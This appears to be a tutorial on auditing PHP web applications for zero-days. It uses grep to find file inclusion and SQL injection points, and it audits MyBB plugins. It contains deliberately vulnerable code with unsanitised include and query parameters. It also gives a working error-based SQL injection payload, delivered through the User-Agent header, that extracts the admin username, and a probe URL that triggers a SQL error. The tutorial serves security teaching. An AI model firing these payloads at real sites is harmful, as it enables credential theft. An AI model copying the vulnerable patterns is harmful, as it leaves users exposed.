PHP Audit - The art of finding 0days in webapps Part 2

PHP Code



<?php
$header = $_GET['header'];
   if(isset($header))
   {
  include("headers/$header");
   }
   else
   {
  include("headers/standard.php");
   }

$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
?>

Code

$ grep _GET app.php

PHP Code



<?php 
$header = $_GET['header'];
$id = $_GET['id'];

Code

grep mysql_ app.php

PHP Code



<?php 
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );

Code

grep include app.php

PHP Code



<?php 
include("headers/$header");
  include("headers/standard.php");

Code

grep include *.php

PHP Code



<?php 
app2.php:  include("headers/$header");
app2.php:  include("headers/standard.php");
app3.php:  include("headers/$header");
app3.php:  include("headers/standard.php");
app.php:  include("headers/$header");
app.php:  include("headers/standard.php");

Code

grep include *.php -n

PHP Code



<?php 
app2.php:5:  include("headers/$header");
app2.php:9:  include("headers/standard.php");
app3.php:5:  include("headers/$header");
app3.php:9:  include("headers/standard.php");
app.php:5:  include("headers/$header");
app.php:9:  include("headers/standard.php");

Code

grep 'SELECT\|FROM' app.php -n

PHP Code



<?php 
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );

Code

grep 'sEleCt\|FroM' app.php -n -i

PHP Code



<?php 
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );

Code

http://www.exploit-db.com/exploits/23359/

Code

grep "\$_GET" dymy_ua.php -i -n

grep "\$_GET" dymy_ua.php -i -n

grep "mysql_" dymy_ua.php -i -n

grep "include" dymy_ua.php -i -n

PHP Code



<?php 
Nothing useful

PHP Code



<?php 
function dymy_ua_install()
{
    global $db;

    $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
}

Code

joinse7en@box /v/w/m/i/plugins> grep "\$db" dymy_ua.php -i -n

PHP Code



<?php 
56:    global $db;
58:    $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
63:    global $db;
65:    if($db->field_exists("useragent", "posts"))
75:    global $db;
77:    $db->delete_query("templategroups", "title='DyMy User Agent Templates'");
78:    $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts DROP `useragent`");
83:    global $db;
85:    $q = $db->simple_select("templategroups", "COUNT(*) as count", "title = 'DyMy User Agent'");
86:    $c = $db->fetch_field($q, "count");
87:    $db->free_result($q);
95:        $db->insert_query("templategroups", $ins);
101:        "template"        => $db->escape_string(' <img src="images/useragent/os/{$os}.png" alt="{$os}" title="{$os_name}">'),
106:    $db->insert_query("templates", $ins);
111:        "template"        => $db->escape_string(' <img src="images/useragent/browser/{$browser}.png" alt="{$browser}" title="{$browser_name}">'),
116:    $db->insert_query("templates", $ins);
125:    global $db;
127:    $db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'");

PHP Code



<?php 
function dymy_ua_deactivate()
{
    global $db;

    $db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'"); // Line 27

    require_once MYBB_ROOT."/inc/adminfunctions_templates.php";
    find_replace_templatesets('postbit',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}')."#",'',0);
    find_replace_templatesets('postbit_classic',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}</td>')."#",'</td>',0);
}

function dymy_ua_dh_post_insert(&$data)
{
    $useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
    $data->post_insert_data['useragent'] = $useragent;
    $data->post_update_data['useragent'] = $useragent;
}

function dymy_ua_postbit(&$post)
{
    global $templates;

    if(isset($post['browser']) && isset($post['system']) && !empty($post['browser']) && !empty($post['system']) && empty($post['useragent']))
    {
        $os = str_ireplace("icon_", "", $post['system']);
        $browser = str_ireplace("icon_", "", $post['browser']);
        $browser = preg_replace("#^linux([a-z])#si", "$1", $browser);
    }
...

PHP Code



<?php 
function dymy_ua_dh_post_insert(&$data)
{
    $useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
    $data->post_insert_data['useragent'] = $useragent;
    $data->post_update_data['useragent'] = $useragent;
}

Code

' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)); #

Code

http://mods.mybb.com/view/hm-my-country-flags

Code

http://localhost/mybb/misc.php?action=hmflags&cnam=Belgium'&pf=5

PHP Code



<?php 
MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
    1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Belgium''' at line 1
Query:
    SELECT * FROM mybb_users u LEFT JOIN mybb_usergroups g ON (u.usergroup=g.gid) LEFT JOIN mybb_userfields f ON (u.uid=f.ufid) WHERE fid5='Belgium''